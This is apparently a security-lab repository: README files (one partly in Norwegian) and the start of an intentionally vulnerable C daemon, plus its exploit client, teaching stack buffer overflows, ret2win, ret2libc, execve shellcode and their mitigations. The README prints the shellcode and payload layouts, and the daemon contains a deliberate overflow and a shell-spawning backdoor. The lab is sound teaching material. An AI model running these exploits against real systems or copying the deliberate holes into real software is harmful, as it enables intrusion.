noen gang trenger to forbrukere av en stream, trenger den streamen én eneste
leser som bevisst demultiplekser den.
**Meta-leksjonen.** Det første "fungerende" resultatet var et falskt positivt
produsert av at pty-en ekkoet harnessens egen kommandolinje tilbake til den, og
fixen for det falske positive er det som avslørte den ekte feilen. Tester som
ikke kan feile, er verre enn ingen tester, fordi de forvandler "jeg vet ikke"
til "det virker." En test-harness fortjener samme mistenksomhet som koden den
tester.
---
## Å eksperimentere med det
Ting som er verdt å prøve, omtrent i den rekkefølgen du lærer mest av dem:
1. **Endre `FOOD_BUFSZ` til 128.** Kjør `fooc` igjen. Det burde fortsatt virke
uten endringer, fordi det leser offsetet ut av disassembly-en. Bryt det så
for hånd — hardkod 88 — og se det krasje. Legg så til et andre array mellom
`buf` og de lagrede registrene, og se den automatiske oppdagelsen håndtere
det.
2. **Legg til `-Wformat-security` og se hva format-streng-stien gjør.** Send
`%p %p %p %n` og se `food` lekke stacken.
3. **Bruk gdb.** `make debug`, deretter:
```gdb
(gdb) break food.c:393 # det read() som renner over
(gdb) run -p 2342
(gdb) info registers rsp rbp
(gdb) x/24gx $rsp # legg merke til hvor returadressen ligger
(gdb) c # i et annet terminal: ./fooc -t ret2win
```
`SIGSEGV`-handleren logger `REG_RIP` og `REG_RSP`, så `food.log` forteller
deg om kapringen landet, selv når barnet dør før du kan koble deg på.
4. **Slett justeringsfixen** i `fooc.c` og se `#GP`-feilen med
`si_addr = 0`-signaturen. Les så `/proc/sys/kernel/randomize_va_space` og
tenk over hva ASLR randomiserer, og hva det ikke gjør.
5. **Bryt libc-symboloppløsningen** og se `fooc` tilpasse seg. Hele poenget
med `/proc/self/maps`-tilnærmingen er at intet offset er hardkodet.
6. **Skriv en fjerde teknikk.** En `ret2csu`-lignende kjede hvis du kan finne
`__libc_csu_init`, eller en SROP-kjede (`sigreturn`-rammer lar deg
kontrollere alle registre på én gang). Begge er rent ROP og trenger ikke
kjørbart minne.
7. **Fix `food.c` ordentlig**, én feil om gangen, og kjør exploitet igjen etter
hver fix. Rekkefølgen i tabellen øverst i `food.c` er omtrent den riktige
rekkefølgen å tenke i: begrens først read-et, for ingenting annet betyr noe
før feilen er borte.
---
## Opprydding
```sh
make stop # stopper food
make clean # fjerner byggeprodukter; lar food.log være i fred
pkill -x sh # bare hvis du har løse shells fra en test som gikk skeis
```
Merk at `pkill -x food` matcher prosess**navnet** nøyaktig. Ikke bruk
`pkill -f ./food` — det mønsteret matcher også shellen du skrev det i, og
dreper din egen sesjon. Det er ikke en hypotese; det skjedde mens dette ble
bygget.

409
README.md Normal file
View file

@ -0,0 +1,409 @@
# food / fooc — a stack buffer overflow, from both sides
A C99 security lab in two halves:
- **`food.c`** — an intentionally vulnerable TCP daemon. It has a real,
textbook stack buffer overflow (CWE-120), and a few more bugs besides.
- **`fooc.c`** — an exploit for it. It computes the overflow offset by
disassembling the target at runtime, reads address leaks from the daemon, and
gets a shell on the "victim" by overwriting a saved return address.
The point is not the shell. The point is that you can watch, end to end, how a
memory-safety mistake turns into arbitrary code execution — and then see exactly
which mitigations stop each step of that chain. Every line of both programs is
commented, because the mechanism is the lesson.
```
your terminal
|
./fooc (exploit)
|
TCP 127.0.0.1:2342
|
./food (vulnerable daemon)
|
fork() -> vulnerable_handler() -> overflow -> ret -> your code
```
---
## ⚠️ Read this first
**`food` is a deliberately broken network service. It binds to `127.0.0.1`
only, and that default is deliberate — please leave it there.**
- Do **not** run it on a machine you care about, or on anything with data on it.
- Do **not** bind it to `0.0.0.0` or a real interface. It is remotely
exploitable by design.
- Pointing `fooc` at a host you do not own or have written permission to test
is a computer intrusion offence in most jurisdictions, including under the UK
Computer Misuse Act and the US Computer Fraud and Abuse Act.
- It binds to an unprivileged port (>1024), so you do not need root. Do not
"improve" it by adding capabilities or running it as a system service.
- Every connection is handled in a `fork()`ed child, and `food` reaps it, so
crashes do not accumulate. If you find yourself with dozens of stray `sh`
processes afterwards, `pkill -x sh` is the cleanup.
If in doubt: this lab is for a virtual machine or a container, on a network
you control, on a machine with nothing you would miss.
---
## Quick start
```sh
make # build food, fooc, and the test harnesses
make run # start food on 127.0.0.1:2342, detached
make test # run all three exploit techniques
make stop # stop the daemon
```
Then, by hand:
```sh
./fooc -t leak # see the address leaks food hands out
./fooc -t demo -v # send junk; watch food die with SIGSEGV
./fooc -t ret2win -i # jump to a function that already exists -> shell
```
### Requirements
| Tool | Needed for | Notes |
|---|---|---|
| `gcc` (or clang) | building | C99. Tested on gcc 16.2 |
| `objdump` | `fooc` | binutils. `fooc` shells out to it at runtime |
| `nasm` | `make verify` | only to cross-check the shellcode; skipped if absent |
| `gdb` | `make debug` | optional |
| Linux, x86-64 | both | the payload and gadget hunting are arch-specific |
`fooc` also needs `-ldl` for `dlsym()`; the Makefile handles that.
---
## The bug
One line in `food.c` is the whole exploit surface:
```c
char buf[FOOD_BUFSZ]; /* 64 bytes */
n = read(fd, buf, FOOD_READMAX); /* up to 512 bytes from the network */
```
64 bytes of destination, 512 bytes accepted. The attacker overwrites 448 bytes
past the end of the buffer, and because the stack grows downwards, "past the
end" means "into the frame above" — which is where the saved frame pointer and
the **saved return address** live.
In a compiled x86-64 function at `-O0`:
```
high addresses
+------------------------+ rbp + 16 : caller locals
| ... |
+------------------------+ rbp + 8 : SAVED RETURN ADDRESS <-- becomes RIP
| saved rbp (8 bytes) |
+------------------------+ rbp : our frame pointer
| line[128] |
| buf[64] | <- rsp: what read() fills
+------------------------+
low addresses
```
When the function returns, `leave; ret` pops that 8 bytes into `RIP` and the CPU
jumps wherever the attacker chose. Everything else in this lab is arithmetic
about where to point it.
For this build the numbers are: `buf` is 64 bytes, the saved `rbp` is 8, so the
return address sits at offset **88** from the start of `buf`. `fooc` does not
hardcode that — it disassembles `food` and finds the `lea -0x50(%rbp)` that
precedes the `call read@plt`, so it keeps working if you change `FOOD_BUFSZ`.
> gcc already tells you about this. Building `food` prints:
> `warning: 'read' writing 512 bytes into a region of size 64 overflows the
> destination [-Wstringop-overflow=]`. Never suppress that warning in real code.
> It is free security.
---
## The three techniques
`fooc -t <technique>`. They are in the order a real attacker would work
through them, because each one needs what the previous one taught you.
### 1. `ret2win` — control the instruction pointer
```
[ 88 bytes of junk ][ address of food's win() ]
^ saved rbp
^ becomes RIP
```
`win()` is a function in the target that execs `/bin/sh`. Overwriting the return
address with its address is the entire exploit.
**What it teaches:** you have arbitrary control of the instruction pointer. It
also needs no leak, because the binary is built `-no-pie`, so `win()` sits at a
fixed address forever.
**The real-world equivalent** is not "attacks are easy" but "do not ship
undocumented backdoors in networked binaries." If a function like `win()` exists
in your binary, a buffer overflow will find it. That is literally the Juniper
ScreenOS backdoor CVE class.
**Defence:** `-fPIE` (or ASLR) randomises the load address, so the attacker
must know the address — which usually means they need a leak first. That is why
`ret2win` fails against `food_hardened`.
### 2. `ret2libc` — call anything, by name
```
[ junk ][ pop rdi; ret ][ address of "/bin/sh" ][ address of system() ]
^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^
sets rdi the string to pass the function to call
```
At execution time: `ret` pops `pop rdi; ret` into RIP; that pops the `"/bin/sh"`
pointer into `RDI`; that `ret` pops `system()` into RIP, with `RDI` still
holding the string. `system("/bin/sh")` runs.
The gadgets (`pop rdi; ret`) are not in `food` — this glibc has no
`__libc_csu_init` — so `fooc` finds them by scanning live libc memory for the
byte pair `5f c3`. It locates libc via `/proc/self/maps`, finds the offsets of
`system` and `"/bin/sh"` with `dlsym()`, and computes the base from the leak
`food` publishes. Nothing is hardcoded, so it survives a libc update.
**What it teaches:** once you can control `RIP`, you can chain *existing*
instructions. This is return-oriented programming, and it is what nearly all
real-world exploitation looks like, because it needs no attacker-supplied
executable memory.
**Defence:** none of the compiler flags stop this on their own. It works
against a PIE binary, with NX, with a canary — as long as the attacker has a
leak. The defences are "do not have the overflow" and "do not leak addresses."
See the table below.
### 3. `shellcode` — run your own machine code
23 bytes, placed at the start of the buffer, with `RIP` pointed at them:
```asm
xor esi, esi ; envp = NULL
xor edx, edx ; argv = NULL
movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" as 8 raw bytes
push rdi ; put the string on the stack
mov rdi, rsp ; rdi = &"/bin/sh"
push 0x3b ; 59 = __NR_execve
pop rax
syscall ; we are now a shell
```
This is the purest form of the bug: the attacker supplies the *instructions*,
not just the address of instructions that already exist. No libc offsets needed,
so in principle it works against a statically linked, fully randomised target.
`make verify` assembles `shellcode.S` and diffs it against the byte array
embedded in `fooc.c`, so the two cannot drift apart.
**Defence:** **NX** (a.k.a. W^X, "no execute"). Marking the stack
non-executable makes the hardware refuse to fetch instructions from it, and the
`ret` lands on a page that cannot run. This is why `make food` passes
`-z execstack`: a stock Linux stack is `rw-p`, not `rwx`, and the technique
dies with SIGSEGV at `RIP = the payload's address`. The single most important
lesson in the lab is that every one of these bytes only works because the
compiler was told to leave the stack executable. That flag is on for nobody's
benefit.
### Also included
| Mode | What it does |
|---|---|
| `-t leak` | connects, prints the leaks, sends nothing |
| `-t demo` | sends `rip_off + 8` bytes of `0x41`, so `RIP` becomes `0x4141...` and the daemon dies. Proves the bug with no address knowledge at all |
| `-t sled` | a ret sled, deliberately kept as a **failing** example. Without a leak you would brute-force ASLR by filling the buffer with the address of a `ret`. It cannot work here: `food` accepts 512 bytes, so the sled is ~53 slots against ~28 bits of entropy. Implemented so you can watch it fail, and confirm the mechanism really is "the CPU follows a chain of rets" |
---
## The mitigation table
This is the part to remember. Each row is a real defence, and the right-hand
column is what it actually does to the chain of events.
| Mitigation | How to enable | What it stops | What it does *not* stop |
|---|---|---|---|
| **Bound the read** | `n = read(fd, buf, sizeof buf - 1);` | **Everything.** The bug does not exist, so nothing downstream matters | Nothing — this is the only complete fix |
| **Stack canary** | `-fstack-protector-strong` (gcc's default) | The `ret`: the canary is checked on function exit, so the smash is detected and the process aborts before `RIP` is popped | A bug in a function with *no* array (nothing to protect); an overflow that stays under the canary; anything that does not return normally |
| **NX / W^X** | `-z noexecstack` (the default) | Shellcode. The payload's own instructions cannot be fetched | ret2win and ret2libc entirely. These are the *reason* ROP exists |
| **PIE + ASLR** | `-fPIE` + ASLR=2 (both default) | ret2win's hardcoded addresses. Everything moves each run | Anything where the attacker has a leak. ASLR raises the cost of an exploit; it is not a fix. Note that stack, heap and mmap are randomised but the main binary's *contents* are not — that is what ROP chains use |
| **Don't leak** | don't `printf("%p")` to clients; initialise before printing | The information leak that turns ASLR from "expensive" into "free" | — |
| **Don't use `printf(user_data)`** | `printf("%s", buf)` instead of `printf(buf)` | Format-string bugs: `%x` stack reads, `%n` arbitrary writes, which is a *second* way to get RCE | — |
| **Don't use untrusted paths** | validate and `openat()` under a fixed dir | Path traversal (CWE-22) | — |
| **CET / shadow stack** | `-fcf-protection=full`, kernel + CPU support | The `ret` itself: the shadow stack remembers the *real* return address and faults on a mismatch. Catches ROP chains that use hardware `ret` | Attacks that never `ret` (call-oriented, or overwriting a function pointer's target with a gadget chain that does not need a return) |
| **Safe languages** | Rust, Go, C# for new code | The whole class. Bounds checks are checked at runtime, not hoped for at review time | — |
### Seeing it for yourself
```sh
make run # vulnerable daemon
make test # all three techniques work
make test-hardened # same source, mitigations on
```
`test-hardened` builds `food_hardened` with `-fstack-protector-strong -fPIE
-pie -z noexecstack`, swaps it in, re-runs all three, then puts the vulnerable
one back. You will see:
```
### stack segment: 'rw-p' (NOT executable) is what you want to see
--- ret2win was stopped by the mitigations (as expected)
--- ret2libc was stopped by the mitigations (as expected)
--- shellcode was stopped by the mitigations (as expected)
```
And in the hardened daemon's log, the canary firing:
```
*** stack smashing detected ***: terminated
```
Read that carefully, because it is the most important line in the whole lab:
**the canary caught ret2win, not PIE.** All three techniques die at the canary,
because all three go through the same `read()` and smash the same frame. NX only
separately stops shellcode's *code*; PIE only separately breaks the hardcoded
address. Turn them on individually and you will find that most single
mitigations leave you exposed to something.
---
## Files
| File | Purpose |
|---|---|
| `food.c` | the vulnerable daemon. 6 numbered bugs, each with its fix in the comment |
| `fooc.c` | the exploit. objdump-based offset discovery, `/proc`-based libc discovery, 4 payload builders |
| `shellcode.S` | the 23 shellcode bytes as assembly, so they can be read and verified. `fooc` carries them inline and does not need this at runtime |
| `Makefile` | builds, tests, and the hardened comparison |
| `tests/pty_test.c` | drives `fooc` through a pseudo-terminal and checks for real shell output |
| `tests/sock_test.c` | independent verifier over a raw socket, so the result does not depend on `fooc` |
| `food.log` | the daemon's log. Your evidence of what happened |
---
## Two bugs in this lab worth understanding
These are not the target's bugs. They are bugs in the exploit and its test
harness, and both produced convincing lies. They are documented in the source
where they live; here they are because the failure modes are instructive.
### Stack alignment: the crash that is not a NULL dereference
**Symptom.** The hijack lands correctly — `gdb` shows you sitting in `win()` —
and then the very first thing `win()` does, a `dprintf()`, dies. `SIGSEGV`
handler reports `RIP` deep inside glibc's formatter and a faulting address of
`(nil)`, which looks exactly like a corrupted pointer.
**Cause.** The System V AMD64 ABI requires 16-byte stack alignment. A normal
`ret` restores `%rsp` to precisely what the matching `call` saved, so the
invariant is preserved for free. Our bare `ret` does not: after it,
`%rsp = buf + rip_off`. Here `buf` is 16-byte aligned and `rip_off` is 88, so
the callee is handed a stack that is 8 mod 16. glibc is compiled with SSE2, and
`movaps` **faults** on a misaligned operand. On x86 that raises `#GP`, not
`#PF`, so the kernel has no faulting address and reports `si_addr = 0`. That
NULL is the tell: an alignment fault dressed up as a NULL dereference.
**Fix.** One `ret` gadget *at offset `rip_off`*, shifting the real target up
8 bytes, since each `ret` adds exactly 8 to `%rsp`. Ordering is critical: an
earlier version appended the `ret` *after* the target, producing
`[ padding | target | ret ]` where the trailing `ret` is never reached and the
fix silently does nothing. A stray `ret` that looks like a mistake is nearly
always deliberate.
### One socket, two readers: the byte that vanished
**Symptom.** Shellcode was reported working. Then the pty harness was made
stricter (turning off `ECHO`, so the terminal stopped echoing the harness's own
command line back at it) and the technique started failing. Underneath, every
technique was dropping exactly one byte from the head of each output chunk:
`uid=1000(hanez)` printed as `id=1000(hanez)`, `PWNED-OK` as `WNED-OK`,
`Linux 7.2.7` as `inux 7.2.7`.
**Cause.** `fooc` used to `dup2()` the socket onto its own stdin/stdout and
`execv()` a *local* `/bin/sh`, while a forked relay child also read that same
socket to move output to the terminal. The kernel does not care that the two
are cooperating. A stream socket has **one** read cursor, and every reader
moves it, so bytes split unpredictably between them. The local shell, being an
interactive login shell, read exactly one byte and discarded it — every single
time. `strace -f` showed it immediately:
```
read(0, "u", 1) <- the local shell, eating a byte
read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- the relay, 1 byte short
```
**Fix.** There is no shell on this side at all. There is exactly one shell in
the whole picture and it is on the victim, inside the hijacked process, with the
TCP connection as its stdin/stdout. This side only moves bytes. If you ever need
two consumers of a stream, that stream needs a single reader that deliberately
demultiplexes it.
**The meta-lesson.** The first "working" result was a false positive produced by
the pty echoing the harness's own command line back at it, and the fix for that
false positive is what exposed the real bug. Tests that cannot fail are worse
than no tests, because they convert "I do not know" into "it works." A test
harness deserves the same suspicion as the code it is testing.
---
## Hacking on it
Things worth trying, roughly in order of how much you will learn:
1. **Change `FOOD_BUFSZ` to 128.** Run `fooc` again. It should still work with no
edits, because it reads the offset out of the disassembly. Then break it by
hand — hardcode 88 — and watch it crash. Then add a second array between
`buf` and the saved registers and watch the automatic detection handle it.
2. **Add `-Wformat-security` and look at what the format-string path does.**
Send `%p %p %p %n` and watch `food` leak the stack.
3. **Use gdb.** `make debug`, then:
```gdb
(gdb) break food.c:393 # the read() that overflows
(gdb) run -p 2342
(gdb) info registers rsp rbp
(gdb) x/24gx $rsp # note where the return address is
(gdb) c # in another terminal: ./fooc -t ret2win
```
The `SIGSEGV` handler logs `REG_RIP` and `REG_RSP`, so `food.log` tells you
whether the hijack landed even when the child dies before you can attach.
4. **Delete the alignment fix** in `fooc.c` and watch the `#GP` fault with the
`si_addr = 0` signature. Then read `/proc/sys/kernel/randomize_va_space` and
think about what ASLR does and does not randomise.
5. **Break libc symbol resolution** and watch `fooc` adapt. The whole point of
the `/proc/self/maps` approach is that no offset is hardcoded.
6. **Write a fourth technique.** A `ret2csu`-style chain if you can find
`__libc_csu_init`, or a SROP chain (`sigreturn` frames let you control every
register at once). Both are pure ROP and need no executable memory.
7. **Fix `food.c` properly**, one bug at a time, and re-run the exploit after
each fix. The order in the table at the top of `food.c` is roughly the right
order to think about them: bound the read first, because nothing else matters
until the bug is gone.
---
## Cleanup
```sh
make stop # stops food
make clean # removes build products; leaves food.log alone
pkill -x sh # only if you have stray shells from a test that went sideways
```
Note `pkill -x food` matches the process **name** exactly. Do not use
`pkill -f ./food` — that pattern also matches the shell you typed it into, and
kills your own session. That is not a hypothetical; it happened while building
this.

1518
fooc.c Normal file

File diff suppressed because it is too large Load diff

853
food.c Normal file
View file

@ -0,0 +1,853 @@
/*
* ============================================================================
* food.c -- "food": an INTENTIONALLY VULNERABLE network daemon
* ============================================================================
*
* PURPOSE
* -------
* This is a deliberately broken TCP daemon used as a *target* for the
* companion exploit `fooc`. It exists so you can learn, hands-on, what a
* stack buffer overflow actually is, how it is abused to get remote code
* execution (RCE), and -- most importantly -- how each of its bugs maps onto
* a concrete, well-known defence that a real program should use instead.
*
* NOTHING HERE IS SAFE. Every "vulnerability" in this file is a real,
* long-documented class of C bug:
*
* Bug #1 Unbounded read() into a fixed stack buffer .... CWE-120
* Bug #2 Unchecked format string from the network ..... CWE-134
* Bug #3 Use of attacker-controlled data as a path ... CWE-22
* Bug #4 Stack canary would have caught Bug #1 ......... CWE-121
* Bug #5 NX bit would have stopped shellcode ........... CWE-94
* Bug #6 PIE/ASLR would have randomised the targets .... CWE-829
*
* The comments next to each bug name the fix. That mapping is the entire
* point of the exercise.
*
* SAFETY RAILS (please keep them in place while you experiment)
* ------------------------------------------------------------
* * It binds to 127.0.0.1 (loopback) by default, so the deliberately
* exploitable service is NOT reachable from your network.
* * It runs in the foreground with a banner so you can watch it die.
* * Each connection is handled in a forked child, so one crash does not
* take the daemon down.
*
* Build: make food
*
* THE BUILD IS THE POINT, PART 1
* ------------------------------
* `make food` compiles this file with three flags that a sane project would
* never use, each switched off on purpose so the lab behaves the same way on
* every machine:
*
* -fno-stack-protector no stack canary
* -no-pie fixed load address, so win() is a constant
* -z execstack executable stack, so shellcode can run
*
* Drop any one of them and the corresponding technique stops working. That is
* not a flaw in the exploit; that is the defence being demonstrated. The
* Makefile's `make hardened` target builds the same source WITHOUT all three,
* and `make test-hardened` shows you which techniques it kills.
*
* Note that -z execstack is the reason `./fooc -t shellcode` works at all. A
* stock Linux stack is not executable (`rw-p` in /proc/PID/maps, and `RWE` in
* the ELF program headers only when this flag is present), and the shellcode
* technique dies with SIGSEGV at RIP = the address of the payload. Everything
* in README.md's mitigation table explains why that flag matters to you.
*
* Usage: ./food [-h HOST] [-p PORT] [-d]
* ============================================================================
*/
/* Ask glibc for the extra declarations we need (dprintf, etc.). */
#define _GNU_SOURCE
#include <arpa/inet.h> /* inet_pton(), to turn "127.0.0.1" into bytes. */
#include <errno.h> /* errno and the strerror() family. */
#include <fcntl.h> /* dup2(), used to hand the socket to the shell. */
#include <netinet/in.h>/* struct sockaddr_in, htons(), the TCP address. */
#include <signal.h> /* signal(), SIGPIPE / SIGCHLD handling. */
#include <stdarg.h> /* va_list, needed by our own tiny printf wrapper. */
#include <stdint.h> /* uint16_t, the fixed-width type htons() returns. */
#include <stdio.h> /* printf, dprintf, fputs. */
#include <stdlib.h> /* exec*, _exit, atoi. */
#include <string.h> /* memset, strncpy, strlen, memchr. */
#include <sys/socket.h>/* socket(), bind(), listen(), accept(). */
#include <sys/stat.h> /* umask(). */
#include <sys/types.h> /* ssize_t, pid_t. */
#include <sys/ucontext.h>/* ucontext_t, REG_RIP: the saved CPU registers. */
#include <sys/wait.h> /* waitpid(), for reaping children. */
#include <unistd.h> /* read, write, close, dup2, getpid, fork, chdir,
* getopt -- the POSIX workhorses. */
/* ------------------------------------------------------------------------- */
/* Configuration constants */
/* ------------------------------------------------------------------------- */
/* Default TCP port. Not privileged (>1024), so no root is required. */
#define FOOD_PORT 2342
/* Loopback only, on purpose. Change with -h if you really know better. */
#define FOOD_HOST "127.0.0.1"
/* Size of the stack buffer in vulnerable_handler(). This is the value the
* exploit has to fill *plus* 8 bytes of saved frame pointer before it can
* reach the return address. Do not change it without re-running the exploit's
* automatic offset detection, which reads it from this binary. */
#define FOOD_BUFSZ 64
/* How many bytes the vulnerable read() is willing to accept. This is much
* larger than FOOD_BUFSZ on purpose -- that mismatch IS the vulnerability. */
#define FOOD_READMAX 512
/* Size of the (also broken) log line buffer used by the format-string demo. */
#define FOOD_LOGSZ 128
/* ------------------------------------------------------------------------- */
/* Tiny helpers */
/* ------------------------------------------------------------------------- */
/*
* g_logfd -- the descriptor logmsg() writes to.
*
* It begins life as a duplicate of the real stdout, taken *before*
* prepare_client_fds() replaces fd 1 with the client's socket. The point is
* that the server's log must never travel to the attacker.
*
* This is not cosmetic. If the daemon had kept logging to fd 1, then the
* moment a client connected, every log line -- including file paths, internal
* hostnames, and in a real system any credential that ever reached a log --
* would be delivered to whoever happened to be on the other end of the socket.
* Keeping diagnostics on a separate, trusted descriptor is a genuine security
* practice, and a lab about exploiting a daemon would be a poor place to
* accidentally teach the alternative.
*/
static int g_logfd = -1;
/*
* logmsg() -- print one timestamped line to the log descriptor.
*
* (Deliberately NOT named `logf`: that collides with the libm builtin
* `float logf(float)`, and GCC warns about it. Naming your own helpers after
* standard library functions is a surprisingly common source of pain.)
*
* We use dprintf() rather than printf() because we need to write to a specific
* descriptor, and because it is close to atomic: one write() call means two
* forked children cannot interleave halfway through a line.
*/
static void logmsg(const char *fmt, ...)
{
char line[1024]; /* Compose the whole message in one buffer. */
va_list ap; /* The argument list of this variadic call. */
int n; /* Bytes composed. */
/*
* va_start MUST be called before the va_list is used. It initialises `ap`
* to point just past `fmt` in the argument area. Passing an uninitialised
* va_list to vsnprintf makes it walk wild stack memory and crash -- which
* is exactly what happened the first time this function was written.
*
* va_end is mandatory once va_start has been called, even on error paths.
*/
va_start(ap, fmt);
/* Format the body first, into the tail of the buffer, leaving room for
* the "[food 1234] " prefix and the trailing newline. */
n = vsnprintf(line, sizeof(line) - 32, fmt, ap);
va_end(ap); /* Always pair va_start with va_end. */
if (n < 0)
return;
/* Prepend the pid. Knowing which forked child did what is what makes the
* per-connection log readable. */
if (g_logfd >= 0)
dprintf(g_logfd, "[food %d] %s\n", (int)getpid(), line);
}
/*
* read_exact() -- read exactly n bytes, looping until we have them all.
*
* This helper is *correct*. The bug in this program is not here.
*
* It is included deliberately, so you can compare it against vulnerable_handler()
* below. The difference between the two functions is, essentially, the whole
* lesson: this one asks for `n` bytes and checks it got them; the other asks
* for far more than its buffer can hold and never checks.
*
* Why it matters: read() on a socket is allowed to return a short count (it
* is a stream, not a message queue). A correct program must loop. The
* vulnerable function below deliberately does not do this correctly either.
*/
__attribute__((unused)) /* Referenced in comments only, so silence the
* -Wunused-function warning deliberately. */
static ssize_t read_exact(int fd, void *buf, size_t n)
{
size_t got = 0; /* Bytes received so far. */
while (got < n) { /* Keep going until the full request. */
ssize_t r = read(fd, (char *)buf + got, n - got);
if (r < 0) { /* r < 0 means an error occurred. */
if (errno == EINTR) /* Interrupted by a signal: just retry. */
continue;
return -1;
}
if (r == 0) /* Peer closed the connection. */
break;
got += (size_t)r; /* Otherwise bank the bytes. */
}
return (ssize_t)got; /* Return total bytes actually read. */
}
/*
* write_all() -- write a whole buffer, looping over short writes.
* Also correct. Exists so the exploit's I/O is not the flaky part of the lab.
*/
static ssize_t write_all(int fd, const void *buf, size_t n)
{
size_t sent = 0;
while (sent < n) {
ssize_t w = write(fd, (const char *)buf + sent, n - sent);
if (w <= 0) {
if (w < 0 && errno == EINTR)
continue;
return -1;
}
sent += (size_t)w;
}
return (ssize_t)sent;
}
/* ------------------------------------------------------------------------- */
/* The ret2win target */
/* ------------------------------------------------------------------------- */
/*
* win() -- the "backdoor" function that ret2win aims at.
*
* A ret2win exploit works by overwriting the saved return address with the
* address of a function that (a) is already in the binary and (b) does
* something useful to the attacker. Here, that is "hand me a shell".
*
* The *presence* of win() is not itself the vulnerability -- shipping a hidden
* "debug backdoor" like this is a real and sadly common self-inflicted wound
* (it is exactly the CVE class "undocumented backdoor", e.g. the Juniper
* ScreenOS backdoors). But in this lab it exists purely as an easy, reliable
* first target so you can prove code execution before reaching for shellcode.
*
* noinline: the compiler must not inline this away, or the exploit would have
* no address to jump to.
* used: keeps the function alive even though we never call it in C.
*/
__attribute__((noinline, used))
static void win(void)
{
pid_t pid; /* Child's PID after the fork below. */
logmsg("win() reached -- executing /bin/sh");
/*
* Note the signature: win() deliberately takes NO arguments, and that is
* the whole point rather than an oversight.
*
* A ret2win exploit overwrites only the saved *return address*. Every
* other register holds whatever the vulnerable function happened to leave
* behind, and the attacker has no control over any of them. An earlier
* revision of this function took an `int fd` parameter, and gdb showed the
* exploit apparently landing while actually passing garbage in rdi
* (-11073), which made every dup2() fail and the "shell" go nowhere.
* Depending on an incoming argument is the most common reason a
* ret2win-style exploit looks like it works and then silently does nothing.
*
* We do not need the argument: prepare_client_fds() has already made
* fds 0, 1 and 2 refer to the client's socket, so the shell can simply
* use the standard descriptors.
*/
/*
* Fork before exec so the parent can reap the child and go away, while
* the child keeps talking to the client. Without this the daemon would
* stay busy until the shell exits.
*/
pid = fork();
if (pid < 0) {
logmsg("win(): fork() failed: %s", strerror(errno));
_exit(1);
}
if (pid > 0) { /* Parent: reap the child, then bail out. */
waitpid(pid, NULL, 0);
/*
* _exit, NOT return. Returning would execute `ret` a second time,
* popping the next 8 bytes of attacker payload as a new RIP and
* crashing immediately. Exiting is the only safe way out of a
* function that was entered by hijacking a return address.
*/
_exit(0);
}
/*
* Child. stdin/stdout/stderr already point at the socket (see
* prepare_client_fds), so there is nothing to rewire here.
*
* Dropping privileges is deliberately absent: in a real system this is
* exactly where you would setuid()/setgid() to an unprivileged user
* before exec. A backdoor that hands out a root shell is what turns an
* ordinary memory-safety bug into a full compromise.
*/
execl("/bin/sh", "sh", (char *)NULL); /* Does not return on success. */
_exit(127); /* Only if exec failed. */
}
/* ------------------------------------------------------------------------- */
/* The vulnerable handler -- Bug #1 and Bug #2 live here */
/* ------------------------------------------------------------------------- */
/*
* noinline: mandatory for a stack-overflow lab. If the compiler inlines this
* into its caller, the stack frame the exploit is aiming at changes
* and the whole exercise stops making sense.
* used: do not let the optimiser delete it.
*/
__attribute__((noinline, used))
static void vulnerable_handler(int fd)
{
char buf[FOOD_BUFSZ]; /* 64 bytes of stack. The whole ballgame. */
char line[FOOD_LOGSZ]; /* Second, larger buffer for the format bug. */
ssize_t n; /* Byte count returned by read(). */
/*
* ------------------------------------------------------------------
* The buffer-address leak, done on purpose, inside this function.
* ------------------------------------------------------------------
* We hand the client the exact address of `buf` *before* it overflows
* anything. Without this the client is shooting blind at a randomised
* stack, and you would need either a lucky guess or a "ret sled"
* thousands of ret-instructions wide.
*
* Where do real-world leaks of this kind come from? All of these are
* genuine, frequently-seen CWE-200 / CWE-497 bugs:
*
* * a format string bug printing %p (our Bug #2 above does this),
* * returning or serialising a pointer that was never initialised
* (CWE-457, use of uninitialised variable -- a very common way to
* turn a mere crash into a full info leak),
* * a verbose crash handler or core dump served to the client,
* * a debug endpoint left enabled, or /proc/self/maps over HTTP,
* * a non-randomised fixed-address mmap(), or a non-PIE binary,
* which is precisely why the Makefile here builds with -no-pie.
*
* The real lesson: address-space layout randomisation is only a
* *speed bump*. It raises the cost of an exploit; it is not a fix. The
* fix is not having the memory corruption in the first place.
*
* FIX: do not disclose addresses to untrusted clients, and initialise
* every pointer before you might print it.
*/
dprintf(fd, "BUF=%p\n", (void *)buf);
/*
* ====================================================================
* BUG #1 -- UNBOUNDED COPY INTO A FIXED STACK BUFFER (CWE-120)
* ====================================================================
*
* This single read() call is the entire exploit surface:
*
* we have FOOD_BUFSZ = 64 bytes of room
* we accept FOOD_READMAX = 512 bytes from the network
*
* The attacker therefore gets to write 448 bytes more than they should,
* and everything laid out on the stack above `buf` gets clobbered.
*
* In a compiled x86-64 function the stack grows *downwards*, so memory
* looks like this, with rbp pointing at the saved frame pointer:
*
* high addresses
* +------------------------+ <- rbp + 16 : caller locals
* | ... |
* +------------------------+ <- rbp + 8 : SAVED RETURN ADDRESS <-- RIP
* | saved rbp (8 bytes) |
* +------------------------+ <- rbp : our frame pointer
* | line[128] | (second buffer, padding)
* | buf[64] | <- rsp: what read() will fill
* +------------------------+
* low addresses
*
* So the attacker writes 64 bytes of junk to fill `buf`, another 8 bytes
* to fill the saved rbp, and the *next* 8 bytes become the return address
* that the `ret` instruction pops into RIP. From that moment the attacker
* decides where the CPU executes next.
*
* FIXES, in increasing order of strength:
* 1. Bound every read by the true size of the destination:
* n = read(fd, buf, sizeof(buf) - 1); <-- the real fix
* 2. Compile with -fstack-protector-strong so a *canary* sits between
* the buffers and the return address; `ret` then aborts first.
* 3. Compile with -fstack-protector-all (covers locals that a plain
* -O2 might have kept in registers).
* 4. Real root cause: do not use fixed-size stack arrays for input at
* all. Use heap allocation sized from a checked length, or a
* stdio-style bounded reader.
*
* NOTE: modern GCC detects *this exact shape* at compile time and warns
* ("writing 512 bytes into a region of size 64"). Never suppress that
* warning in real code -- it is free security.
*/
n = read(fd, buf, FOOD_READMAX); /* <-- CWE-120, THE bug. */
if (n <= 0)
return; /* Nothing to do. */
/*
* Echo back what we received, truncated to the buffer's real size so that
* *this* line is safe. It is here purely so you can watch the overflow
* happen live in the log. Truncating for display does NOT undo the
* overwrite that already happened above.
*/
{
